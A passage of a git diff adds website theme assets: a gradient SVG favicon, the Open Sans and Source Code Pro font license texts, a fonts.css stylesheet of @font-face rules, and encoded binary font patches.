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

literal 0
HcmV?d00001

diff --git a/theme/favicon.svg b/theme/favicon.svg
new file mode 100644
index 000000000..3cd2d0ee8
--- /dev/null
+++ b/theme/favicon.svg
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg id="Capa_1" data-name="Capa 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1080 1080">
+  <defs>
+    <style>
+      .cls-1 {
+        fill: url(#Degradado_sin_nombre_2);
+      }
+    </style>
+    <linearGradient id="Degradado_sin_nombre_2" data-name="Degradado sin nombre 2" x1="258.58" y1="540" x2="821.42" y2="540" gradientUnits="userSpaceOnUse">
+      <stop offset=".5" stop-color="#03f"/>
+      <stop offset=".54" stop-color="#03f" stop-opacity=".97"/>
+      <stop offset=".61" stop-color="#03f" stop-opacity=".9"/>
+      <stop offset=".68" stop-color="#03f" stop-opacity=".78"/>
+      <stop offset=".77" stop-color="#03f" stop-opacity=".61"/>
+      <stop offset=".86" stop-color="#03f" stop-opacity=".4"/>
+      <stop offset=".95" stop-color="#03f" stop-opacity=".14"/>
+      <stop offset="1" stop-color="#03f" stop-opacity="0"/>
+    </linearGradient>
+  </defs>
+  <path class="cls-1" d="m764.46,96.79h-193.71c-87.71,0-136.72,30.76-175.45,109.38l-104.83,210.77c-22.78,45.58-31.9,76.34-31.9,126.47,0,44.43,11.39,80.89,30.76,119.63l104.83,211.92c36.45,74.06,85.46,108.24,170.9,108.24h256.36v-113.93h-242.69c-51.26,0-62.65-3.42-85.44-50.13l-96.85-197.11c-13.67-27.35-23.92-46.71-23.92-78.61,0-35.32,9.11-55.83,23.92-86.59l99.13-198.25c21.64-43.29,29.62-47.85,78.6-47.85h247.25v-113.93h-56.96Z"/>
+</svg>
\ No newline at end of file
diff --git a/theme/fonts/OPEN-SANS-LICENSE.txt b/theme/fonts/OPEN-SANS-LICENSE.txt
new file mode 100644
index 000000000..d64569567
--- /dev/null
+++ b/theme/fonts/OPEN-SANS-LICENSE.txt
@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
diff --git a/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt b/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt
new file mode 100644
index 000000000..366206f54
--- /dev/null
+++ b/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt
@@ -0,0 +1,93 @@
+Copyright 2010, 2012 Adobe Systems Incorporated (http://www.adobe.com/), with Reserved Font Name 'Source'. All Rights Reserved. Source is a trademark of Adobe Systems Incorporated in the United States and/or other countries.
+
+This Font Software is licensed under the SIL Open Font License, Version 1.1.
+This license is copied below, and is also available with a FAQ at:
+http://scripts.sil.org/OFL
+
+
+-----------------------------------------------------------
+SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
+-----------------------------------------------------------
+
+PREAMBLE
+The goals of the Open Font License (OFL) are to stimulate worldwide
+development of collaborative font projects, to support the font creation
+efforts of academic and linguistic communities, and to provide a free and
+open framework in which fonts may be shared and improved in partnership
+with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and
+redistributed freely as long as they are not sold by themselves. The
+fonts, including any derivative works, can be bundled, embedded, 
+redistributed and/or sold with any software provided that any reserved
+names are not used by derivative works. The fonts and derivatives,
+however, cannot be released under any other type of license. The
+requirement for fonts to remain under this license does not apply
+to any document created using the fonts or their derivatives.
+
+DEFINITIONS
+"Font Software" refers to the set of files released by the Copyright
+Holder(s) under this license and clearly marked as such. This may
+include source files, build scripts and documentation.
+
+"Reserved Font Name" refers to any names specified as such after the
+copyright statement(s).
+
+"Original Version" refers to the collection of Font Software components as
+distributed by the Copyright Holder(s).
+
+"Modified Version" refers to any derivative made by adding to, deleting,
+or substituting -- in part or in whole -- any of the components of the
+Original Version, by changing formats or by porting the Font Software to a
+new environment.
+
+"Author" refers to any designer, engineer, programmer, technical
+writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Font Software, to use, study, copy, merge, embed, modify,
+redistribute, and sell modified and unmodified copies of the Font
+Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components,
+in Original or Modified Versions, may be sold by itself.
+
+2) Original or Modified Versions of the Font Software may be bundled,
+redistributed and/or sold with any software, provided that each copy
+contains the above copyright notice and this license. These can be
+included either as stand-alone text files, human-readable headers or
+in the appropriate machine-readable metadata fields within text or
+binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font
+Name(s) unless explicit written permission is granted by the corresponding
+Copyright Holder. This restriction only applies to the primary font name as
+presented to the users.
+
+4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
+Software shall not be used to promote, endorse or advertise any
+Modified Version, except to acknowledge the contribution(s) of the
+Copyright Holder(s) and the Author(s) or with their explicit written
+permission.
+
+5) The Font Software, modified or unmodified, in part or in whole,
+must be distributed entirely under this license, and must not be
+distributed under any other license. The requirement for fonts to
+remain under this license does not apply to any document created
+using the Font Software.
+
+TERMINATION
+This license becomes null and void if any of the above conditions are
+not met.
+
+DISCLAIMER
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
+DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
+OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/theme/fonts/fonts.css b/theme/fonts/fonts.css
new file mode 100644
index 000000000..858efa598
--- /dev/null
+++ b/theme/fonts/fonts.css
@@ -0,0 +1,100 @@
+/* Open Sans is licensed under the Apache License, Version 2.0. See http://www.apache.org/licenses/LICENSE-2.0 */
+/* Source Code Pro is under the Open Font License. See https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL */
+
+/* open-sans-300 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: normal;
+  font-weight: 300;
+  src: local('Open Sans Light'), local('OpenSans-Light'),
+       url('open-sans-v17-all-charsets-300.woff2') format('woff2');
+}
+
+/* open-sans-300italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: italic;
+  font-weight: 300;
+  src: local('Open Sans Light Italic'), local('OpenSans-LightItalic'),
+       url('open-sans-v17-all-charsets-300italic.woff2') format('woff2');
+}
+
+/* open-sans-regular - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: normal;
+  font-weight: 400;
+  src: local('Open Sans Regular'), local('OpenSans-Regular'),
+       url('open-sans-v17-all-charsets-regular.woff2') format('woff2');
+}
+
+/* open-sans-italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: italic;
+  font-weight: 400;
+  src: local('Open Sans Italic'), local('OpenSans-Italic'),
+       url('open-sans-v17-all-charsets-italic.woff2') format('woff2');
+}
+
+/* open-sans-600 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: normal;
+  font-weight: 600;
+  src: local('Open Sans SemiBold'), local('OpenSans-SemiBold'),
+       url('open-sans-v17-all-charsets-600.woff2') format('woff2');
+}
+
+/* open-sans-600italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: italic;
+  font-weight: 600;
+  src: local('Open Sans SemiBold Italic'), local('OpenSans-SemiBoldItalic'),
+       url('open-sans-v17-all-charsets-600italic.woff2') format('woff2');
+}
+
+/* open-sans-700 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: normal;
+  font-weight: 700;
+  src: local('Open Sans Bold'), local('OpenSans-Bold'),
+       url('open-sans-v17-all-charsets-700.woff2') format('woff2');
+}
+
+/* open-sans-700italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: italic;
+  font-weight: 700;
+  src: local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'),
+       url('open-sans-v17-all-charsets-700italic.woff2') format('woff2');
+}
+
+/* open-sans-800 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: normal;
+  font-weight: 800;
+  src: local('Open Sans ExtraBold'), local('OpenSans-ExtraBold'),
+       url('open-sans-v17-all-charsets-800.woff2') format('woff2');
+}
+
+/* open-sans-800italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Open Sans';
+  font-style: italic;
+  font-weight: 800;
+  src: local('Open Sans ExtraBold Italic'), local('OpenSans-ExtraBoldItalic'),
+       url('open-sans-v17-all-charsets-800italic.woff2') format('woff2');
+}
+
+/* source-code-pro-500 - latin_vietnamese_latin-ext_greek_cyrillic-ext_cyrillic */
+@font-face {
+  font-family: 'Source Code Pro';
+  font-style: normal;
+  font-weight: 500;
+  src: url('source-code-pro-v11-all-charsets-500.woff2') format('woff2');
+}
diff --git a/theme/fonts/open-sans-v17-all-charsets-300.woff2 b/theme/fonts/open-sans-v17-all-charsets-300.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..9f51be370fa913ce6de2922b580c262c4822b337
GIT binary patch
literal 44352
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
